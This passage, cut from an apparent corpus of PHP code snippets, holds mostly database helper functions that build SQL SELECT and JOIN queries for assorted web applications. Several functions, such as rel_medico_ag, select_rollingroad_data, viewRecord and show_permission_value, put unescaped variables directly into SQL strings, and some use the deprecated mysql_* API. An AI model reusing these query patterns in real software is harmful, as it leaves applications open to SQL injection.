e.*,staff.*,epics_statuses.name as epicsname,team.name as teamname\n FROM epics AS e\n LEFT JOIN epics_statuses AS epics_statuses ON epics_statuses.id = e.e_status_id\n LEFT JOIN team AS team ON team.id = e.team_id\n LEFT JOIN staff AS staff ON staff.staff_id = e.e_owner\"; \n $allepicsresult = $this->ds->select($allepics); \n //print_r($myepicsresult);\n return $allepicsresult;\n }", "public function getQuerySelect() {\n $R = 'R_'. $this->id;\n return \"$R.value_id AS `\". $this->name.\"`\";\n }", "function show_all()\n\t{\n\t\t$orderBy=\"\";\n\t\t$sql = \"SELECT * \n\t\tFROM umgroup INNER JOIN umsystem \n\t\tON umgroup.GpStID = umsystem.StID\n\t\t$orderBy\";\n\t\t$query = $this->ums->query($sql);\n\t\treturn $query;\n\t}", "function rel_medico_ag ($cod_med){\r\n\t\t$db = banco();\r\n\t\tif($cod_med == '*')\r\n\t\t$query = \"SELECT DISTINCT user.cod, user.name, especialidade.cod_espec, especialidade.nom_espec, medico_agenda.data_disponivel, medico_agenda.vagas\r\n\t\t\t\t FROM user, medico, medico_agenda, medico_especialidade, especialidade\r\n\t\t\t\t WHERE user.cod = medico.cod_medic AND\r\n\t\t\t\t \t \tmedico.cod_medic = medico_especialidade.cod_medic AND\r\n\t\t\t\t \t \tmedico_agenda.cd_med = medico_especialidade.cod_medic AND\r\n\t\t\t\t \t \tmedico_agenda.cd_esp = medico_especialidade.cod_espec AND\r\n\t\t\t\t \t \tespecialidade.cod_espec = medico_especialidade.cod_espec\r\n\t\t\t\t \";\r\n\t\telse{\r\n\t\t\t$query = \"SELECT DISTINCT user.cod, user.name, especialidade.cod_espec, especialidade.nom_espec, medico_agenda.data_disponivel, medico_agenda.vagas\r\n\t\t\t\t FROM user, medico, medico_agenda, medico_especialidade, especialidade\r\n\t\t\t\t WHERE user.cod = medico.cod_medic AND\r\n\t\t\t\t \t \tmedico.cod_medic = medico_especialidade.cod_medic AND\r\n\t\t\t\t \t \tmedico_agenda.cd_med = medico_especialidade.cod_medic AND\r\n\t\t\t\t \t \tmedico_agenda.cd_esp = medico_especialidade.cod_espec AND\r\n\t\t\t\t \t \tespecialidade.cod_espec = medico_especialidade.cod_espec AND\r\n\t\t\t\t \t \tuser.cod = $cod_med\r\n\t\t\t\t \";\r\n\t\r\n\t\t}\r\n\t\t\r\n\t\t$row = $db->query($query);\t\t\r\n\t\t$db->close();\r\n\t\t\r\n\t\treturn $row;\t\t\r\n\t}", "function select() {\n return \"\n contact_a.id AS contact_id,\n contact_a.contact_sub_type AS contact_sub_type,\n contact_a.sort_name AS sort_name,\n source,\n created_date,\n modified_date\n \";\n }", "function listQueryHitLembur($r_periode) {\n $sql = \"select g.*,p.nip,\" . static::schema . \".f_namalengkap(p.gelardepan,p.namadepan,p.namatengah,p.namabelakang,p.gelarbelakang) as namapegawai,\n\t\t\t\t\tu.namaunit,pd.namapendidikan,t.tipepeg||' - '||j.jenispegawai as namajenispegawai \n\t\t\t\t\tfrom \" . static::table('ga_upahlembur') . \" g\n\t\t\t\t\tleft join \" . static::table('ga_historydatagaji') . \" h on h.idpeg = g.idpegawai and h.gajiperiode = g.periodegaji\n\t\t\t\t\tleft join \" . static::table('ms_pegawai') . \" p on p.idpegawai = h.idpeg\n\t\t\t\t\tleft join \" . static::table('ms_tipepeg') . \" t on t.idtipepeg = h.idtipepeg\n\t\t\t\t\tleft join \" . static::table('ms_jenispeg') . \" j on j.idjenispegawai = h.idjenispegawai\n\t\t\t\t\tleft join \" . static::table('ms_unit') . \" u on u.idunit = h.idunit\n\t\t\t\t\tleft join \" . static::table('lv_jenjangpendidikan') . \" pd on pd.idpendidikan = h.pendidikan\";\n\n return $sql;\n }", "function select_query( $tablepre = \"euconnect_\" ) {\n\t$select_sql = \" \" ;\n\t$sort_sql = \" ORDER BY fullname ASC\" ;\n\t$sql = \"SELECT euid , RTRIM( CONCAT( lastname,\\\", \\\", firstname) ) AS fullname , username FROM \" . $tablepre . \"members WHERE active = 1 \" ;\n\treturn $sql . $select_sql . $sort_sql ;\n}", "public function select_umenu(){\n// ORDER BY pathid ASC\";\n $sql = \"SELECT info FROM \".$this ->db ->dbprefix('wx_umenu');\n $data = $this ->db ->query($sql)->result_array();\n return $data[0]['info'];\n }", "function select_rollingroad_data($rrid)\n\t{\n\t\tglobal $db;\n\n\t \t$sql = \"SELECT rr.*, images.* , g.made_year, makes.make, models.model, CONCAT_WS(' ', g.made_year, makes.make, models.model) AS vehicle\n \tFROM \" . GARAGE_ROLLINGROAD_TABLE . \" AS rr\n\t\t \tLEFT JOIN \" . GARAGE_TABLE . \" AS g ON rr.garage_id = g.id\n\t\t \tLEFT JOIN \" . GARAGE_MAKES_TABLE . \" AS makes ON g.make_id = makes.id\n \tLEFT JOIN \" . GARAGE_MODELS_TABLE . \" AS models ON g.model_id = models.id\n \t\t\tLEFT JOIN \" . GARAGE_IMAGES_TABLE . \" AS images ON images.attach_id = rr.image_id \n \tWHERE rr.id = $rrid\";\n\n\t\tif ( !($result = $db->sql_query($sql)) )\n \t\t{\n \t\tmessage_die(GENERAL_ERROR, 'Could Not Select Quartermile Data', '', __LINE__, __FILE__, $sql);\n \t\t}\n\n\t\t$row = $db->sql_fetchrow($result);\n\t\t$db->sql_freeresult($result);\n\n\t\treturn $row;\n\t}", "public function get_menu($r_id){\n $dbs = new DatabaseControls();\n $qry = \"select * from \".$this->table_name.\" where r_id = \".$r_id.\" order by item_id\";\n $result = $dbs->run_multi_data_select_qry($qry);\n return $result;\n }", "public function query(){\n // $this->db->select('idk,id_kain,nm_kain')\n $this->db->select('*')\n ->from($this->table);\n }", "function fill_modules_table($db){\n $query=\"SELECT m.*, u.usi from Modulo m join usi_moduli u on m.nome=u.modulo;\";\n $result = mysqli_query($db,$query);\n while($row=mysqli_fetch_assoc($result)){\n ?>\n <tr>\n <td><b class=\"text-primary\"><?php echo $row['nome']; ?></b></td>\n <td><?php echo $row['funzionalita']; ?></td>\n <td><?php echo $row['costo']; ?></td>\n <td><?php echo $row['usi'];?> </td>\n </tr>\n<?php\n }\n}", "public function selectvillagemaster()\n\t{\n\t\t$result = mysql_query(\"SELECT * FROM villagemaster LEFT JOIN mandalmaster ON villagemaster.mandalid=mandalmaster.mandalid\") or die(mysql_error());\n\t\treturn $result;\n\t}", "public function get_family_data($will_id){\n $query = $this->db->select('*')\n ->from('tbl_family_info')\n ->where('will_id',$will_id)\n ->order_by(\"FIELD(relationship,'Spouse','Son','Daughter')\",'',FALSE)\n ->get();\n $result = $query->result();\n return $result;\n }", "function join_product_table(){\n global $db;\n $sql =\" SELECT p.id,p.name,p.keywords,p.quantity,p.url,p.buy_price,p.sale_price,p.media_id,p.date,c.name\";\n $sql .=\" AS categorie,m.file_name AS image\";\n $sql .=\" FROM products p\";\n $sql .=\" LEFT JOIN categories c ON c.id = p.categorie_id\";\n $sql .=\" LEFT JOIN media m ON m.id = p.media_id\";\n $sql .=\" ORDER BY p.id ASC\";\n return find_by_sql($sql);\n\n }", "function SelectMedicoReferente($db_conx, $query = NULL) {\r\n\r\n if ($query == NULL) {\r\n $sql = \"SELECT * FROM tmedicoreferente LIMIT 20\";\r\n $query = mysqli_query($db_conx, $sql);\r\n }\r\n $n_columnas = $query->field_count;\r\n $n_filas = $query->num_rows;\r\n $data = '<tr class=\"row_header\">\r\n <td>COD</td> \r\n <td>Nombre</td>\r\n <td>CodMed</td> \r\n <td>Especialidad</td>\r\n <td>Unidad(es)</td>\r\n <td>Estado</td>\r\n <td>Observacion</td>\r\n <td id=\"custom-action\"></td>\r\n </tr>';\r\n $c = 0;\r\n while ($row = mysqli_fetch_array($query)) {\r\n $data .= '<tr class=\"row_data\">';\r\n $data .= '<td><span id=\"td_' . $row[0] . '_0\">' . $row[0] . '</span></td>';\r\n $data .= '<td><span id=\"td_' . $row[0] . '_7\">' . $row[7] . '</span> ';\r\n $data .= '<span id=\"td_' . $row[0] . '_8\">' . $row[8] . '</span> ';\r\n $data .= '<span id=\"td_' . $row[0] . '_5\">' . $row[5] . '</span> ';\r\n $data .= '<span id=\"td_' . $row[0] . '_6\">' . $row[6] . '</span></td>';\r\n $data .= '<td><span id=\"td_' . $row[0] . '_1\">' . $row[1] . '</span></td>';\r\n $data .= '<td><span id=\"td_' . $row[0] . '_2\">' . $row[2] . '</span></td>';\r\n\r\n $cod = \"\";\r\n $uni = \"\";\r\n $unimedarray = SelectValuesUnidadMedicoArray($db_conx, $row[0]);\r\n for ($i = 0; $i < count($unimedarray); $i++) {\r\n $tem = explode(\"*\", $unimedarray[$i]);\r\n $cod .= $tem[0];\r\n $uni .= $tem[1];\r\n if ($i + 1 != count($unimedarray)) {\r\n $cod .= \",\";\r\n $uni .= \",<br>\";\r\n }\r\n }\r\n $data .= '<td><span style=\"display:none;\" id=\"uni_' . $row[0] . '\">' . $cod . '</span>\r\n <span >' . $uni . '</span>\r\n </td>';\r\n\r\n $data .= '<td><span id=\"td_' . $row[0] . '_4\">' . $row[4] . '</span></td>';\r\n $data .= '<td><span id=\"td_' . $row[0] . '_3\">' . $row[3] . '</span></td>';\r\n\r\n $data .= '<td id=\"custom-action\"><button id=\"editar\" onclick=\"editMedicoReferente(' . $row[0] . ')\">Editar</button></td></tr>';\r\n }\r\n echo $data;\r\n}", "static public function mdlMostrarUnidadMedidaxInventario(){\n\n\t\t\t$stmt = Conexion::conectar()->prepare(\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n\n\t\t\tSELECT X.* FROM \n\t\t\t(\n\t\t\tSELECT inventario.id , 0 as unidad_medida , UPPER(inventario.nombre) as nombre FROM inventario \n\t\t\tUNION ALL \n\t\t\tSELECT inventario_x_unidad_medida_salida.id_inventario ,inventario_x_unidad_medida_salida.id, CONCAT( UPPER(inventario.nombre ), '-' , LOWER(inventario_x_unidad_medida_salida.unidad_medida_salida ) ) FROM inventario \n\t\t\tINNER JOIN inventario_x_unidad_medida_salida WHERE inventario.id = inventario_x_unidad_medida_salida.id_inventario ) AS X\n\t\t\tORDER BY 1 DESC ,2 \n\n\n\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\");\n\n\n\t\t\t$stmt -> execute();\n\n\t\t\treturn $stmt -> fetchAll();\n\n \n\t\t$stmt-> close();\n\n\t\t$stmt = null;\n\n\t}", "function getMenu(){\n\t\t$sql = \"SELECT tl.TenTL, tl.TenKhongDauTL, GROUP_CONCAT(gd.MaGD,':', gd.TenGD,':', gd.TenKhongDauGD) AS GiaiDoan FROM theloai tl INNER JOIN giaidoan gd ON tl.MaTL = gd.MaTL GROUP BY tl.MaTL\";\n\t\t$this->setQuery($sql);\n\t\treturn $this->loadAllRows();\n\t}", "static function list($q=\"\",$f=\"\"){\n \t$query = \"select \n\t\t\t\t\tcloto_id.id,\n\t\t\t\t\tcloto_id.tipo,\n\t\t\t\t\tcloto_type.nome AS tipo_nome,\n\t\t\t\t\t\n\t\t\t\t\tif(cloto_id.tipo = '1',cloto_label.value,\n\t\t\t\t\t\tif(cloto_id.tipo = '2',cloto_number.value,\n\t\t\t\t\t\t\tif(cloto_id.tipo = '3',cloto_text.value,'[object]')\n\t\t\t\t\t\t)\n\t\t\t\t\t) as value\n\t\t\t\tfrom cloto_id\n\t\t\t\t\n\t\t\t\tleft join cloto_label on cloto_id.id = cloto_label.id\n\t\t\t\tleft join cloto_number on cloto_id.id = cloto_number.id\n\t\t\t\tleft join cloto_text on cloto_id.id = cloto_text.id\n\t\t\t\tleft join cloto_object on cloto_id.id = cloto_object.id\n\t\t\t\t\n\t\t\t\tINNER JOIN cloto_type ON cloto_id.tipo = cloto_type.id\n\t\t\t;\";\n \t$retorno = dbQuery($query);\n\n \treturn $retorno;\n\n }", "function get_document_basic_details($ref){\n $query = \"\n SELECT\n tbl_tender_basic_details.tender_id,\n tbl_tender_basic_details.mgo_file_ref,\n tbl_tender_basic_details.dos_file_ref,\n tbl_vote_master.vote_head,\n tbl_vote_master.vote_name,\n tbl_items_list.item_code,\n tbl_items_list.item_name,\n tbl_tender_basic_details.quantity,\n tbl_unit_types.unit_name,\n tbl_tender_basic_details.tndr_open_date\n FROM\n tbl_tender_basic_details\n Inner Join tbl_unit_types ON tbl_unit_types.unit_id = tbl_tender_basic_details.unit_type_id\n Inner Join tbl_items_list ON tbl_items_list.item_id = tbl_tender_basic_details.item_id\n Inner Join tbl_vote_master ON tbl_vote_master.vote_id = tbl_tender_basic_details.vote_id\n WHERE mgo_file_ref='$ref'\n \";\n $query_result = $this->mDbm->setData($query);\n return $query_result;\n }", "public function pagadaall(){\n$sql = $this->db->query(\"SELECT pago_factura.*, facturas.id_factura FROM pago_factura INNER JOIN facturas ON pago_factura.factura_id = facturas.id\");\nreturn $sql;\n}", "function listQueryBaru() {\n\t\t\t$sql = \"select r.* from \".self::table('v_kelas3new').\" r join gate.ms_unit u on r.kodeunit = u.kodeunit\";\n\t\t\t\n\t\t\treturn $sql;\n\t\t}", "function myjoin()\n {\n $this->db\n ->select('puestos.nombre AS pnombre')\n ->select('puestos.id AS pid')\n ->select('entidades.nombre AS enombre')\n ->select('entidades.id AS eid')\n ->select('departamentos.nombre AS dnombre')\n ->select('departamentos.id AS did')\n ->select('ubicaciones.nombre AS unombre')\n ->select('ubicaciones.id AS uid')\n ->join ('puestos', 'users.puesto = puestos.id' , 'left')\n ->join ('entidades', 'users.entidad = entidades.id' , 'left')\n ->join('departamentos', 'users.departamento = departamentos.id' , 'left')\n ->join('ubicaciones', 'users.ubicaciontrabajo = ubicaciones.id' , 'left');\n //$this->db->where('users.id',7);\n return $datosuser = $this->db->get('users')->result_array();\n }", "function get_joinFG($data,$key=FALSE,$column=FALSE){ //Zulmi Adi Rizki 23 Juli 2013\n\t\t\n\t\tif($key == TRUE){\n\t\t\tif(!is_array($key)){\n\t\t\t\t$this->db->where($key);\n\t\t\t} else {\n\t\t\t\t$key = array_map('htmlentities', $key);\n\t\t\t\t$this->db->where($key);\n\t\t\t}\n\t\t}\n\t\t$this->db->select($column == FALSE ? \"*\" : $column)->from($this->table_name);\n\t\tforeach($data as $row){\n\t\t\tif($row[\"join_type\"] != NULL){\n\t\t\t\t$this->db->join($row[\"join_table\"],$row[\"table\"].\".\".$row[\"join_key\"].\"=\".$row[\"join_table\"].\".\".$row[\"join_key\"], $row[\"join_type\"]);\n\t\t\t} else {\n\t\t\t\t$this->db->join($row[\"join_table\"],$row[\"table\"].\".\".$row[\"join_key\"].\"=\".$row[\"join_table\"].\".\".$row[\"join_key\"]);\n\t\t\t}\n\t\t}\n\t\t$this->flexigrid->build_query();\n\t\t$return['records'] = $this->db->get();\n\t\t\n\t\tif($key == TRUE){\n\t\t\tif(!is_array($key)){\n\t\t\t\t$this->db->where($key);\n\t\t\t} else {\n\t\t\t\t$key = array_map('htmlentities', $key);\n\t\t\t\t$this->db->where($key);\n\t\t\t}\n\t\t}\n\t\t$this->db->select($column == FALSE ? \"*\" : $column)->from($this->table_name);\n\t\tforeach($data as $row){\n\t\t\tif($row[\"join_type\"] != NULL){\n\t\t\t\t$this->db->join($row[\"join_table\"],$row[\"table\"].\".\".$row[\"join_key\"].\"=\".$row[\"join_table\"].\".\".$row[\"join_key\"], $row[\"join_type\"]);\n\t\t\t} else {\n\t\t\t\t$this->db->join($row[\"join_table\"],$row[\"table\"].\".\".$row[\"join_key\"].\"=\".$row[\"join_table\"].\".\".$row[\"join_key\"]);\n\t\t\t}\n\t\t}\n\t\t$this->flexigrid->build_query(FALSE);\n\t\t$return['record_count'] = $this->db->count_all_results();\n\t\t\n\t\treturn $return;\n\t}", "function get_list()\n {\n \tif($this->table_name === null)\n \t\treturn false;\n \t\n \t$select = \"{$this->table_name}.*\";\n $select .= \", deposito.no_rekening, nasabah.NAMA_NASABAH, nasabah.ALAMAT,\";\n \t\n\t\t// ADD YOUR SELECT FROM JOIN HERE <------------------------------------------------------\n\t\t// for example $select .= \", user_log.created_date, user_log.update_date\";\n\t\t\n \tif(!empty($this->relation))\n \t\tforeach($this->relation as $relation)\n \t\t{\n \t\t\tlist($field_name , $related_table , $related_field_title) = $relation;\n \t\t\t$unique_join_name = $this->_unique_join_name($field_name);\n \t\t\t$unique_field_name = $this->_unique_field_name($field_name);\n \t\t\t\n\t\t\t\tif(strstr($related_field_title,'{'))\n \t\t\t\t$select .= \", CONCAT('\".str_replace(array('{','}'),array(\"',COALESCE({$unique_join_name}.\",\", ''),'\"),str_replace(\"'\",\"\\\\'\",$related_field_title)).\"') as $unique_field_name\";\n \t\t\telse \t\t\t\n \t\t\t\t$select .= \", $unique_join_name.$related_field_title as $unique_field_name\";\n \t\t\t\n \t\t\tif($this->field_exists($related_field_title))\n \t\t\t\t$select .= \", {$this->table_name}.$related_field_title as '{$this->table_name}.$related_field_title'\";\n \t\t}\n \t\t\n \t$this->db->select($select, false);\n \t\n // ADD YOUR JOIN HERE for example: <------------------------------------------------------\n // $this->db->join('user_log','user_log.user_id = users.id');\n $this->db->join('nasabah','nasabah.NASABAH_ID = '.$this->table_name.'.NASABAH_ID');\n \t$results = $this->db->get($this->table_name)->result();\n \t\n \treturn $results;\n }", "function get_fst_l() {\n $main = $this->db->where('type', 'r')->get('menu');\n return $main->result_array();\n }", "private function getSQL($active){\n\t\tif($active){\n\t\t\t$op = '>=';\n\t\t}else{\n\t\t\t$op = '<=';\n\t\t}\n\t\treturn 'SELECT `queries`.`qid`,`code`,`status`, `progress`,`url`,`quality`,`files`.`rname` as fileName FROM querydetails\n\t\t\t\tINNER JOIN queries\n\t\t\t\tON querydetails.qid = queries.qid\n\t\t\t\tLEFT JOIN files\n\t\t\t\tON querydetails.qid = files.fid\n\t\t\t\tWHERE luc '. $op .' ? AND uid = ?\n\t\t\t\tORDER BY luc DESC\n\t\t\t\tLIMIT 20';\n\t}", "public function get_list() {\n\t\t$this->db->select('mnu.*, icon.nama AS nama_icon, mnu_parent.nama AS nama_parent');\n\t\t$this->db->from('menu AS mnu');\n\t\t$this->db->join('icon AS icon', 'icon.id = mnu.id_icon', 'LEFT');\n\t\t$this->db->join('menu AS mnu_parent', 'mnu_parent.id = mnu.parent_id', 'LEFT');\n\n\t\treturn parent::get_list();\n\t}", "function getmyfeature($SMEID)\n {\n \n $myfeature= \"SELECT f.*,fd.*,st.*,ep.*,topics.name as topicsname,feature_statuses.name as statusename, pi.pi_title as piname \n FROM features AS f\n LEFT JOIN feature_details AS fd ON fd.f_id = f.f_id \n LEFT JOIN staff AS st ON st.staff_id = fd.f_SME \n LEFT JOIN epics AS ep ON ep.e_id = fd.f_epic \n LEFT JOIN productincrements AS pi ON pi.pi_id = f.f_PI\n LEFT JOIN feature_statuses AS feature_statuses ON feature_statuses.id = f.f_status_id \n LEFT JOIN topics AS topics ON topics.id = f.f_topic_id\";\n $myfeatureresult = $this->ds->select($myfeature); \n //print '<pre>';print_r($myfeatureresult);\n return $myfeatureresult;\n }", "function allFilms()\n{\n $conn = connect();\n try {\n if ($conn) {\n $stmt = $conn->query(\"SELECT filmai.pavadinimas, filmai.id, filmai.aprasymas, \n filmai.trukme, filmai.rezisierius, kategorijos.pavadinimas AS kategorijosPavadinimas\n FROM filmai \n INNER JOIN kategorijos ON filmai.kategorijos_id=kategorijos.id\");\n $filmai = $stmt->fetchAll();\n $conn = null;\n }\n } catch (PDOException $e) {\n echo $e->getMessage();\n exit;\n }\n return $filmai;\n}", "function contact_view_sql()\n\t{\n\t\t$view_contact=mysqli_query($this->con,\"SELECT * FROM contact order by id desc\");\n\t\treturn $view_contact;\n\t}", "function getDetailAllMileStone($groupo_id_local,$DbConnection)\n{\n $query=\"SELECT milestone_id,milestone_name,milestone_type FROM milestone_assignment USE INDEX(mass_gid_status) WHERE group_id='$groupo_id_local' AND status=1\"; \t\t\t\t\n if($DEBUG==1){print $query;}\n $result=mysql_query($query,$DbConnection); \t\t\t\t\t\t\t\n while($row=mysql_fetch_object($result))\n {\n /*$ms_id=$row->milestone_id; \n $ms_name=$row->milestone_name;\n $ms_type=$row->milestone_type;*/\n $data[]=array('ms_id'=>$row->milestone_id,'ms_name'=>$row->milestone_name,'ms_type'=>$row->milestone_type);\t\n }\n return $data;\n}", "function get_alumni() {\n //$this -> db -> from('gallery');\n //$this -> db -> where('did = ' . \"'\" . $gid . \"'\");\n $query = $this->db->get('alumni');\n return $query->result();\n }", "function return_join_table_data($rt_or_left_or_none,$tableleft,$tableright,$on_a_and_b,$whereby=null,$orderby=null,$returnrows=\"a.*,b.*\") {\n\t$q = \"\n\tSELECT \".$returnrows.\"\n\tFROM \".$tableleft.\" AS a \".$rt_or_left_or_none.\" JOIN \".$tableright.\" AS b ON \".$on_a_and_b.\" \n\t\".$whereby.\" \n\t\".$orderby.\" \n\t\";\n\t//echo $q;\n\t$r = mysql_query($q) or die(\"return_join_table_data($rt_or_left_or_none,$tableleft,$tableright): \".mysql_error());\n\treturn check_results($r);\n}", "function getFAQ() \n {\n \n $query= \"SELECT f.*,fs.name as fname,pi.pi_title as ptitle,tp.name as tname\n FROM features AS f\n LEFT JOIN feature_statuses AS fs ON fs.id = f.f_status_id\n LEFT JOIN productincrements AS pi ON pi.pi_id = f.f_PI\n LEFT JOIN topics AS tp ON tp.id = f.f_topic_id\"; \n $result = $this->ds->select($query);\n //print '<pre>';print_r($result);\n return $result;\n }", "public function show_column_photos(){\n $sql=\"SELECT * FROM photos WHERE img_navigacija_id=3\";\n $result=self::$connect->query($sql);\n $rows=array();\n while($row=$result->fetch(PDO::FETCH_ASSOC)){\n $rows[]=$row;\n $this->name=array_column($rows, 'name');\n $this->id=array_column($rows, 'id');\n }\n\n }", "function get_all_medidor()\n {\n $this->db->order_by('id_med', 'desc');\n return $this->db->get('medidor')->result_array();\n }", "public function form_hierarchy_list(){\n $org_id = $this->session->userdata('org_id');\n $this->db->select('f.form_id,fh.uuid,f.form_name,f.form_desc,f.status,f.created_by,f.default,f.due_date')\n ->from('form_details f')\n ->join('form_hierarchy fh','fh.form_id = f.form_id');\n $this->db->where('f.org_id = '.$org_id.' and f.assign_to = \"workflow\"');\n $query=$this->db->get();\n return $query->result();\n }", "function EpicsDetails() \n {\n \n // $EpicsDetails=\"SELECT * FROM epics\n // LEFT JOIN team\n // ON team.id = epics.team_id\";\n\n\n $EpicsDetails=\"SELECT e.*,stf.*,ed.*,team.name as teamname,epics_statuses.name as statusename\n FROM epics AS e\n LEFT JOIN team as team ON team.id=e.team_id\n LEFT JOIN epics_statuses as epics_statuses ON epics_statuses.id=e.e_status_id\n LEFT JOIN staff AS stf ON stf.staff_id = e.e_owner \n LEFT JOIN epic_details AS ed ON ed.e_id = e.e_id where ed.e_id = e.e_id\";\n $EpicsDetailsresult = $this->ds->select($EpicsDetails);\n //print '<pre>';print_r($EpicsDetailsresult);\n return $EpicsDetailsresult;\n }", "function show_permission_value($value) \n {\n global $dbf;\n\n $sqlPerm = \"SELECT b.permission_id, b.permission_term FROM base_module a\n LEFT JOIN base_user_permission b ON (a.module_id = b.module_id) WHERE a.module_id='$value' ORDER BY b.permission_id\";\n $result = $dbf->query($sqlPerm);\n if($dbf->num_rows($result) > 0) \n {\n while($rows = mysql_fetch_assoc($result))\n {\n echo $rows['permission_term'];\n echo \"<br />\";\n } \n \n } else {\n echo \"\";\n }\n}", "function get_focal_point_permohonan($where) {\n $CI = & get_instance();\n $CI->load->database();\n\n $CI->db->from('m_pdln as mp');\n $CI->db->where($where);\n $id_fp = $CI->db->get()->row()->unit_fp;\n return $id_fp;\n}", "public function getQueryFrom() {\n $R = 'R_'. $this->id;\n return \"INNER JOIN tracker_changeset_value AS $R ON ($R.changeset_id = c.id)\";\n }", "function news_view_sql()\n {\n \t$news_view=mysqli_query($this->con,\"SELECT * FROM `news` order by id desc\");\n \treturn $news_view;\n }", "public function read(){\n $query = \"SELECT ordine.id_ordine, ordine.id_fornitore, fornitore.nome as fornitore, ordine.articolo, articolo.taglia, ordine.stato \n FROM \" . $this->table_name . \" LEFT JOIN fornitore ON ordine.id_fornitore = fornitore.id_fornitore INNER JOIN articolo ON ordine.id_ordine = articolo.id_ordine\";\n $stmt = $this->conn->prepare( $query );\n $stmt->execute();\n return $stmt;\n }", "function get_by_id($id)\n {\n $this->db->select('a.*,b.nama_dak_rincian,b.nama_dak_komponen_sub,b.nama_dak_komponen,b.nama_jenis_output,IFNULL((SELECT realisasi_persen FROM t_realisasi WHERE id_rincian=a.id_rincian ORDER BY periode DESC LIMIT 1),0) AS persen');\n $this->db->from('v_rincian a');\n $this->db->join('v_dak_rincian b', 'a.id_dak_rincian=b.id_dak_rincian', 'left');\n $this->db->where('a.id_rincian', $id);\n return $this->db->get()->result();\n }", "public function getJobp($id=''){\t\t\n $this->db->select(\"jobspreview.*,package.name as package_name,package.price as package_price,industry.name as industry_name\");\n $this->db->join(\"package\",\"jobspreview.package_id=package.id\",\"left\"); \n $this->db->join(\"industry\",\"jobspreview.industry_id=industry.id\",\"left\"); \n $this->db->where(\"jobspreview.id\",$id); \n $result = $this->db->get('jobspreview')->result();\n //echo $this->db->last_query(); die(); \n return $result;\t\t\n}", "public function selectreligionmaster()\n\t{\n\t\t$result = mysql_query(\"SELECT * FROM religionmaster\") or die(mysql_error());\n\t\treturn $result;\n\t}", "function get_nama($id){\n $this->db->select('*');\n\t\t$this->db->from('history_operator');\n\t\t$this->db->join('user', 'history_operator.dari = user.id');\n $this->db->join('region', 'user.id_region = region.id_reg');\n return $this->db->get();\n }", "function get_package_details($dis)\n {\n $this->db->select('package.*,package.id as packid,location.*,address.*,cities.*,file.* ');\n $this->db->from('package');\n $this->db->join('cities', 'cities.c_id = package.location');\n $this->db->join('address', 'address.city = cities.c_id');\n $this->db->join('location', 'address.id = location.locationaddress');\n // $this->db->join('packageimage','packageimage.package = package.id');\n $this->db->join('file', 'file.id = package.thumbnailimage');\n $this->db->where('cities.c_id', $dis);\n $query = $this->db->get();\n $row = $query->result_array(); // echo $this->db->last_query();exit;\n return $row;\n }", "function career_view_sql()\n\t{\n\t\t$view_career=mysqli_query($this->con,\"SELECT * FROM career order by career_id desc\");\n\t\treturn $view_career;\n\t}", "function career_view_sql()\n\t{\n\t\t$view_career=mysqli_query($this->con,\"SELECT * FROM career order by career_id desc\");\n\t\treturn $view_career;\n\t}", "function select() {\n return \"\n contact_a.id as contact_id ,\n contact_a.contact_type as contact_type,\n contact_a.sort_name as sort_name,\n contact_a.job_title as job_title,\n contact_a.organization_name as current_employer\n \";\n }", "function getallfeature()\n {\n \n $allfeature= \"SELECT f.*,fd.*,st.*,ep.*,topics.name as topicsname,feature_statuses.name as statusename\n FROM features AS f\n LEFT JOIN feature_details AS fd ON fd.f_id = f.f_id \n LEFT JOIN staff AS st ON st.staff_id = fd.f_SME \n LEFT JOIN epics AS ep ON ep.e_id = fd.f_epic \n LEFT JOIN feature_statuses AS feature_statuses ON feature_statuses.id = f.f_status_id \n LEFT JOIN topics AS topics ON topics.id = f.f_topic_id\"; \n $allfeatureresult = $this->ds->select($allfeature); \n //print '<pre>';print_r($allfeatureresult);\n return $allfeatureresult;\n }", "function get_table_join($select_data, $table, $join_table, $join_data, $join_type, $where_data){\n\t\n\t$this->db->select($select_data);\n\t$this->db->from($table);\n\t$this->db->join($join_table, $join_data, $join_type);\n\t$this->db->where($where_data);\n\t$this->db->order_by(\"sub1_id\",\"asc\");\n\t\n\t$query = $this->db->get();\n\t$result = $query->result_array(); \n\treturn $result;\t\n}", "function get_dishes_from_menu($menu_id)\n {\n $this->db->select('dishes.id, dishes.name, dishes.description, categories.id AS category_id,\n categories.name AS category, pictures.image, pictures.image_file_name');\n $this->db->from('dishes');\n $this->db->join('categories', 'dishes.category_id = categories.id');\n $this->db->join('pictures', 'dishes.id = pictures.dish_id', 'left');\n $this->db->join('dishes_menus', 'dishes.id = dishes_menus.dish_id');\n $this->db->where('dishes_menus.menu_id', $menu_id);\n $query = $this->db->get();\n return $query->result();\n }", "function get_vote_details() {\n $query = \"\n SELECT\n tbl_vote_master.vote_id,\n tbl_vote_master.vote_head,\n tbl_vote_master.vote_name\n FROM\n tbl_vote_master\n \";\n $query_result = $this->mDbm->setData($query);\n return $query_result;\n }", "function getContacts(){\n\t$query = \"SELECT sc_contacts.*, sc_science.id AS sci_id, sc_science.name \n\t\tFROM sc_contacts JOIN sc_science ON sc_contacts.refer_science_id = sc_science.id\n\t\tORDER BY sc_contacts.last_name;\";\n\t$result = mysql_query($query);\t\n\tif (!$result) {\n\t die('Invalid query: ' . mysql_error());\n\t} else {\n\t\treturn $result;\n\t}\t\n}", "function getStaff() \n {\n \n $query= \"SELECT s.*,teamname.name as teamname,topic.name as topicname\n FROM staff AS s\n LEFT JOIN team AS teamname ON teamname.id = s.staff_team_id\n LEFT JOIN topics AS topic ON topic.id = s.staff_topic_id\"; \n $result = $this->ds->select($query);\n \n return $result;\n }", "function viewRecord($prmId)\r\n{\r\n\tglobal $dbi,$varIdMenu,$varStrMenu,$varStrKeywords,$varStrDescription,$varStrTitle,$varTxtContent;\r\n\r\n $sql = \"SELECT \r\n c.id_menu,\r\n m.menu,\r\n c.keywords,\r\n c.description,\r\n c.title,\r\n c.content \r\n FROM \r\n content c, \r\n navigation m \r\n WHERE \r\n c.id_menu=m.id AND \r\n c.id=\".$prmId; \r\n\t$varResult = mysql_query($sql,$dbi);\r\n\r\n\tlist($varIdMenu,$varStrMenu,$varStrKeywords,$varStrDescription,$varStrTitle,$varTxtContent)=mysql_fetch_row($varResult); \r\n $varStrKeywords = stripslashes($varStrKeywords);\r\n $varStrDescription = stripslashes($varStrDescription);\r\n $varStrTitle = stripslashes($varStrTitle);\r\n $varTxtContent = stripslashes($varTxtContent);\r\n\t\r\n}", "function get_all_modelo_medidor()\n {\n $modelo_medidor = $this->db->query(\"\n 